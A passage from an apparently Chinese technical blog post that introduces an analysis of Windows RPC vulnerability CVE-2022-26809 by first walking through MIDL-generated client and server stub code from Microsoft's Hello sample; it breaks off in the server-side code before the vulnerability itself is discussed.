    <content type="html"><![CDATA[<p>之前MSRC微软放出了<code>CVE-2022-26809</code>这个漏洞，当时的评分有9.8那么高，我十分好奇这么高评分的漏洞到底是个怎么样子的洞，所以对其进行了简单的分析，不过一通分析过后，在个人有限的水平下，分析出来的结果是感觉这个漏洞好像挺理论洞的。。</p><p>为了能够更好的描述这个漏洞，首先要了解Windows下的RPC调用模式，所以这里可能要分成两个部分来讲漏洞。前面可能更加倾向于介绍RPC本身，<em>摆出一堆术语</em>，之后才能比较好的介绍漏洞本身。</p><span id="more"></span><h2 id="rpc-基础知识">RPC 基础知识</h2><p>RPC为远程过程调用，分为Server端和Client端。其调用模式如图<br><img src="/2022/04/30/WindowsRPCStudy/RPC02.png" alt=""><br>由于RPC代码在编写过程中存在很多基本模式以及很多需要遵守的规则，所以一般开发平台提供一个叫做<code>MIDL( Microsoft Interface Definition Language )</code>的定义语言来生成Server和Client的对应接口，其后缀为<code>.idl</code>。当定义语言写好之后，使用<code>midl.exe</code>即可生成对应的<code>桩(Stub)</code>文件。<code>桩（Stub）</code>不做真正的工作，在RPC中它负责将调用的数据重新组织好，并且将数据传输到指定的远程主机侧完成系统调用。</p><p><a href="https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds">在这里</a>有很多微软提供的参考代码，可以通过这边学习一下整个RPC的调用过程。文章后面的内容也会从里面选取其中的<code>Hello</code>项目进行介绍。</p><h3 id="实例：midl-与stub的关系">实例：MIDL，与Stub的关系</h3><p>假设interface文件如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">[ uuid (f691b703-f681-47dc-afcd-034b2faab911), // You must change this when you change the interface</span><br><span class="line">  version(1.0),</span><br><span class="line">  pointer_default(unique),</span><br><span class="line">]</span><br><span class="line">interface hello</span><br><span class="line">&#123; </span><br><span class="line">void HelloProc([in] handle_t h1,</span><br><span class="line">   [in, string] unsigned char * pszString);</span><br><span class="line"></span><br><span class="line">void Shutdown([in] handle_t h1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们通过输入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">midl -oldnames -cpp_opt &quot;-E&quot;  hello.idl</span><br></pre></td></tr></table></figure><p>可以生成如下的文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hello.h   // 通用接口文件</span><br><span class="line">hello_c.c // client端stub</span><br><span class="line">hello_s.c // server端stub</span><br></pre></td></tr></table></figure><p>可以简单看一下内容</p><p>hello.h</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">ifdef</span> __cplusplus</span></span><br><span class="line"><span class="keyword">extern</span> <span class="string">&quot;C&quot;</span>&#123;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span> </span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">ifndef</span> __hello_INTERFACE_DEFINED__</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> __hello_INTERFACE_DEFINED__</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* interface hello */</span></span><br><span class="line"><span class="comment">/* [implicit_handle][unique][version][uuid] */</span> </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">HelloProc</span><span class="params">( </span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="comment">/* [in] */</span> <span class="type">handle_t</span> h1,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="comment">/* [string][in] */</span> <span class="type">unsigned</span> <span class="type">char</span> *pszString)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">Shutdown</span><span class="params">( </span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="comment">/* [in] */</span> <span class="type">handle_t</span> h1)</span></span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">extern</span> <span class="type">handle_t</span> hello_IfHandle;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">extern</span> RPC_IF_HANDLE hello_ClientIfHandle;</span><br><span class="line"><span class="keyword">extern</span> RPC_IF_HANDLE hello_ServerIfHandle;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span> <span class="comment">/* __hello_INTERFACE_DEFINED__ */</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Additional Prototypes for ALL interfaces */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* end of Additional Prototypes */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> __cplusplus</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>基本上是定义了一些基本的变量和对应的接口函数类型。其中</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">extern</span> RPC_IF_HANDLE hello_ClientIfHandle;</span><br><span class="line"><span class="keyword">extern</span> RPC_IF_HANDLE hello_ServerIfHandle;</span><br></pre></td></tr></table></figure><p>为RPC调用中会使用到的<strong>接口句柄</strong>，其本质为<code>RpcInterfaceInformation</code>，也就是<strong>RPC接口信息句柄</strong>，在之后<strong>注册RPC调用</strong>的时候会用到。</p><h4 id="client侧">client侧</h4><p>Client侧生成的文件信息如下（节选）</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">const</span> RPC_CLIENT_INTERFACE hello___RpcClientInterface =</span><br><span class="line">    &#123;</span><br><span class="line">    <span class="built_in">sizeof</span>(RPC_CLIENT_INTERFACE),</span><br><span class="line">    &#123;&#123;<span class="number">0xf691b703</span>,<span class="number">0xf681</span>,<span class="number">0x47dc</span>,&#123;<span class="number">0xaf</span>,<span class="number">0xcd</span>,<span class="number">0x03</span>,<span class="number">0x4b</span>,<span class="number">0x2f</span>,<span class="number">0xaa</span>,<span class="number">0xb9</span>,<span class="number">0x11</span>&#125;&#125;,&#123;<span class="number">1</span>,<span class="number">0</span>&#125;&#125;, <span class="comment">// InterfaceId</span></span><br><span class="line">    &#123;&#123;<span class="number">0x8A885D04</span>,<span class="number">0x1CEB</span>,<span class="number">0x11C9</span>,&#123;<span class="number">0x9F</span>,<span class="number">0xE8</span>,<span class="number">0x08</span>,<span class="number">0x00</span>,<span class="number">0x2B</span>,<span class="number">0x10</span>,<span class="number">0x48</span>,<span class="number">0x60</span>&#125;&#125;,&#123;<span class="number">2</span>,<span class="number">0</span>&#125;&#125;, <span class="comment">// TransferSyntax</span></span><br><span class="line">    <span class="number">0</span>,  <span class="comment">//DispatchTable</span></span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0x00000000</span></span><br><span class="line">    &#125;;</span><br><span class="line">RPC_IF_HANDLE hello_ClientIfHandle = (RPC_IF_HANDLE)&amp; hello___RpcClientInterface;</span><br></pre></td></tr></table></figure><p>可以看到，<code>hello_ClientIfHandle</code>在这边被<code>hello___RpcClientInterface</code>赋值。这个变量中记录的了一些在定义过程中能够知道的值：当前接口的<strong>接口IDInterface ID</strong>以及当前<code>NDR</code>（在RPC调用过程中用于描述传输单位的数据）使用的<strong>传输语法 TransferSyntax</strong>。传输语法可以定义当前<code>NDR</code>使用的语法。在MIDL中可以使用<code>/protocol</code>对其进行指定。结构体后方的变量会在运行时逐渐填充。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">extern</span> <span class="type">const</span> MIDL_STUB_DESC hello_StubDesc;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> RPC_BINDING_HANDLE hello__MIDL_AutoBindHandle;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> MIDL_STUB_DESC hello_StubDesc = </span><br><span class="line">    &#123;</span><br><span class="line">    (<span class="type">void</span> *)&amp; hello___RpcClientInterface,</span><br><span class="line">    MIDL_user_allocate,</span><br><span class="line">    MIDL_user_free,</span><br><span class="line">    &amp;hello_IfHandle,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    hello__MIDL_TypeFormatString.Format,</span><br><span class="line">    <span class="number">1</span>, <span class="comment">/* -error bounds_check flag */</span></span><br><span class="line">    <span class="number">0x50002</span>, <span class="comment">/* Ndr library version */</span></span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0x801026e</span>, <span class="comment">/* MIDL Version 8.1.622 */</span></span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,  <span class="comment">/* notify &amp; notify_flag routine table */</span></span><br><span class="line">    <span class="number">0x1</span>, <span class="comment">/* MIDL flag */</span></span><br><span class="line">    <span class="number">0</span>, <span class="comment">/* cs routines */</span></span><br><span class="line">    <span class="number">0</span>,   <span class="comment">/* proxy/server info */</span></span><br><span class="line">    <span class="number">0</span></span><br><span class="line">    &#125;;</span><br></pre></td></tr></table></figure><p><code>xxx_StubDesc</code>变量中的<code>xxxx</code>为当前IDL文件中定义的接口的名字。这个变量存放了针对每个<code>Stub</code>的一些基本定义的。包括用于分配对象和释放对象的<code>MIDL_user_allocate</code>和<code>MIDL_user_free</code>。这两个程序需要在主程序中声明，用于对对象进行内存管理。通过暴露这个接口，也方便后期进行数据的追踪。同时将前文的<code>hello___RpcClientInterface</code>绑定在<code>Stub</code>中，表明<code>hello_StubDesc</code>描述的是<code>hello___RpcClientInterface</code>接口句柄指向的<code>Stub</code>。<code>hello_IfHandle</code>则为前文提到的，用于表示当前<code>Stub</code>的原始句柄。在通常情况下与<code>hello___RpcClientInterface</code>是等价的。但是当在接口中指明使用当权句柄的时候，一般会使用<code>_IfHandle</code>进行接口绑定。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> hello_MIDL_PROC_FORMAT_STRING hello__MIDL_ProcFormatString =</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        &#123;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Procedure HelloProc */</span></span><br><span class="line"></span><br><span class="line"><span class="number">0x0</span>,<span class="comment">/* 0 */</span></span><br><span class="line"><span class="number">0x48</span>,<span class="comment">/* Old Flags:  */</span></span><br><span class="line"><span class="comment">/*  2 */</span><span class="built_in">NdrFcLong</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/*  6 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/*  8 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x10</span> ),<span class="comment">/* X64 Stack size/offset = 16 */</span></span><br><span class="line"><span class="comment">/* 10 */</span><span class="number">0x32</span>,<span class="comment">/* FC_BIND_PRIMITIVE */</span></span><br><span class="line"><span class="number">0x0</span>,<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 12 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* X64 Stack size/offset = 0 */</span></span><br><span class="line"><span class="comment">/* 14 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 16 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 18 */</span><span class="number">0x42</span>,<span class="comment">/* Oi2 Flags:  clt must size, has ext, */</span></span><br><span class="line"><span class="number">0x1</span>,<span class="comment">/* 1 */</span></span><br><span class="line"><span class="comment">/* 20 */</span><span class="number">0xa</span>,<span class="comment">/* 10 */</span></span><br><span class="line"><span class="number">0x1</span>,<span class="comment">/* Ext Flags:  new corr desc, */</span></span><br><span class="line"><span class="comment">/* 22 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 24 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 26 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 28 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Parameter pszString */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 30 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x10b</span> ),<span class="comment">/* Flags:  must size, must free, in, simple ref, */</span></span><br><span class="line"><span class="comment">/* 32 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x8</span> ),<span class="comment">/* X64 Stack size/offset = 8 */</span></span><br><span class="line"><span class="comment">/* 34 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* Type Offset=4 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Procedure Shutdown */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 36 */</span><span class="number">0x0</span>,<span class="comment">/* 0 */</span></span><br><span class="line"><span class="number">0x48</span>,<span class="comment">/* Old Flags:  */</span></span><br><span class="line"><span class="comment">/* 38 */</span><span class="built_in">NdrFcLong</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 42 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x1</span> ),<span class="comment">/* 1 */</span></span><br><span class="line"><span class="comment">/* 44 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x8</span> ),<span class="comment">/* X64 Stack size/offset = 8 */</span></span><br><span class="line"><span class="comment">/* 46 */</span><span class="number">0x32</span>,<span class="comment">/* FC_BIND_PRIMITIVE */</span></span><br><span class="line"><span class="number">0x0</span>,<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 48 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* X64 Stack size/offset = 0 */</span></span><br><span class="line"><span class="comment">/* 50 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 52 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 54 */</span><span class="number">0x40</span>,<span class="comment">/* Oi2 Flags:  has ext, */</span></span><br><span class="line"><span class="number">0x0</span>,<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 56 */</span><span class="number">0xa</span>,<span class="comment">/* 10 */</span></span><br><span class="line"><span class="number">0x1</span>,<span class="comment">/* Ext Flags:  new corr desc, */</span></span><br><span class="line"><span class="comment">/* 58 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 60 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 62 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 64 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"></span><br><span class="line"><span class="number">0x0</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="type">static</span> <span class="type">const</span> hello_MIDL_TYPE_FORMAT_STRING hello__MIDL_TypeFormatString =</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        &#123;</span><br><span class="line"><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/*  2 */</span></span><br><span class="line"><span class="number">0x11</span>, <span class="number">0x8</span>,<span class="comment">/* FC_RP [simple_pointer] */</span></span><br><span class="line"><span class="comment">/*  4 */</span></span><br><span class="line"><span class="number">0x22</span>,<span class="comment">/* FC_C_CSTRING */</span></span><br><span class="line"><span class="number">0x5c</span>,<span class="comment">/* FC_PAD */</span></span><br><span class="line"></span><br><span class="line"><span class="number">0x0</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> <span class="type">unsigned</span> <span class="type">short</span> hello_FormatStringOffsetTable[] =</span><br><span class="line">    &#123;</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">36</span></span><br><span class="line">    &#125;;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><code>hello__MIDL_ProcFormatString</code>被称为<strong>格式化字符串（类似与printf用的的那个字符串）</strong>，使用特定的数值来描述当前调用函数中接口的各种属性。包括当前接口类型（用flag表示）参数数量等。如果存在参数的画，则会在描述完接口之后跟着描述对应的参数类型,会描述参数的大小，种类等等。<br><code>hello__MIDL_TypeFormatString</code>用于描述当前使用的一些函数的参数种类等<br><code>hello_FormatStringOffsetTable</code>则用于描述<code>hello__MIDL_ProcFormatString</code>中每个接口的起始地址。</p><p>完成这些定义之后，最终就能声明接口函数</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">HelloProc</span><span class="params">( </span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="comment">/* [in] */</span> <span class="type">handle_t</span> h1,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="comment">/* [string][in] */</span> <span class="type">unsigned</span> <span class="type">char</span> *pszString)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">NdrClientCall2</span>(</span><br><span class="line">                  ( PMIDL_STUB_DESC  )&amp;hello_StubDesc,</span><br><span class="line">                  (PFORMAT_STRING) &amp;hello__MIDL_ProcFormatString.Format[<span class="number">0</span>],</span><br><span class="line">                  h1,</span><br><span class="line">                  pszString);</span><br><span class="line">    </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">Shutdown</span><span class="params">( </span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="comment">/* [in] */</span> <span class="type">handle_t</span> h1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">NdrClientCall2</span>(</span><br><span class="line">                  ( PMIDL_STUB_DESC  )&amp;hello_StubDesc,</span><br><span class="line">                  (PFORMAT_STRING) &amp;hello__MIDL_ProcFormatString.Format[<span class="number">36</span>],</span><br><span class="line">                  h1);</span><br><span class="line">    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到Client端的<code>HelloProc</code>和<code>Shutdown</code>函数定义本质上只是调用了一个叫做<code>NdrClientCall2</code>的API，这个API由<code>RPCRT4.dll</code>提供，根据生成的<code>hello_StubDesc</code>，<code>hello__MIDL_ProcFormatString.Format[0]</code>以及<code>hello__MIDL_ProcFormatString.Format[36]</code>进行函数调用接口和参数的一些定义。之后个根据这种特殊的格式化字符串形式，根据需要传入参数。</p><h4 id="server侧">Server侧</h4><p>server侧大部分关于接口的定义等同Client侧，但是接口的实现需要由自己完成，同时会多出如下的几个变量:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> RPC_SERVER_INTERFACE hello___RpcServerInterface =</span><br><span class="line">    &#123;</span><br><span class="line">    <span class="built_in">sizeof</span>(RPC_SERVER_INTERFACE),</span><br><span class="line">    &#123;&#123;<span class="number">0xf691b703</span>,<span class="number">0xf681</span>,<span class="number">0x47dc</span>,&#123;<span class="number">0xaf</span>,<span class="number">0xcd</span>,<span class="number">0x03</span>,<span class="number">0x4b</span>,<span class="number">0x2f</span>,<span class="number">0xaa</span>,<span class="number">0xb9</span>,<span class="number">0x11</span>&#125;&#125;,&#123;<span class="number">1</span>,<span class="number">0</span>&#125;&#125;,</span><br><span class="line">    &#123;&#123;<span class="number">0x8A885D04</span>,<span class="number">0x1CEB</span>,<span class="number">0x11C9</span>,&#123;<span class="number">0x9F</span>,<span class="number">0xE8</span>,<span class="number">0x08</span>,<span class="number">0x00</span>,<span class="number">0x2B</span>,<span class="number">0x10</span>,<span class="number">0x48</span>,<span class="number">0x60</span>&#125;&#125;,&#123;<span class="number">2</span>,<span class="number">0</span>&#125;&#125;,</span><br><span class="line">    (RPC_DISPATCH_TABLE*)&amp;hello_DispatchTable,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    &amp;hello_ServerInfo,</span><br><span class="line">    <span class="number">0x04000000</span></span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> RPC_DISPATCH_FUNCTION hello_table[] =</span><br><span class="line">    &#123;</span><br><span class="line">    NdrServerCall2,</span><br><span class="line">    NdrServerCall2,</span><br><span class="line">    <span class="number">0</span></span><br><span class="line">    &#125;;</span><br><span class="line"><span class="type">static</span> <span class="type">const</span> RPC_DISPATCH_TABLE hello_DispatchTable = </span><br><span class="line">    &#123;</span><br><span class="line">    <span class="number">2</span>,</span><br><span class="line">    (RPC_DISPATCH_FUNCTION*)hello_table</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> SERVER_ROUTINE hello_ServerRoutineTable[] = </span><br><span class="line">    &#123;</span><br><span class="line">    (SERVER_ROUTINE)HelloProc,</span><br><span class="line">    (SERVER_ROUTINE)Shutdown</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> MIDL_SERVER_INFO hello_ServerInfo = </span><br><span class="line">    &#123;</span><br><span class="line">    &amp;hello_StubDesc,</span><br><span class="line">    hello_ServerRoutineTable,</span><br><span class="line">    hello__MIDL_ProcFormatString.Format,</span><br><span class="line">    hello_FormatStringOffsetTable,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>&#125;;</span><br></pre></td></tr></table></figure><p>首先，server侧的<code>hello___RpcServerInterface</code>定义了<code>DispatchTable</code>。这个变量会在之后提到的<code>PDU</code>中由<code>procnum</code>指定的操作数指定调对应分发函数。然后对应的<code>NdrServerCall2</code>则会去寻找<code>hello___RpcServerInterface</code>中注册的<code>hello_ServerInfo</code>指定的<code>hello_ServerRoutineTable</code>，最终形成一种对应关系，找到需要调用的相关函数。在<code>NdrServerCall2</code>调用过程中，中途会根据之前注册的接口信息，再合适的时候进行内存管理（之后漏洞会详细分析部分），从而保证传入Server的API中的变量为我们需要的形式。<br>同时，Server侧需要实现接口:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">HelloProc</span><span class="params">(IN RPC_BINDING_HANDLE hBinding,<span class="type">unsigned</span> <span class="type">char</span> * pszString)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">printf_s</span>(<span class="string">&quot;%s\n&quot;</span>, pszString);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">Shutdown</span><span class="params">(IN RPC_BINDING_HANDLE hBinding)</span></span></span><br><span class="line"><span 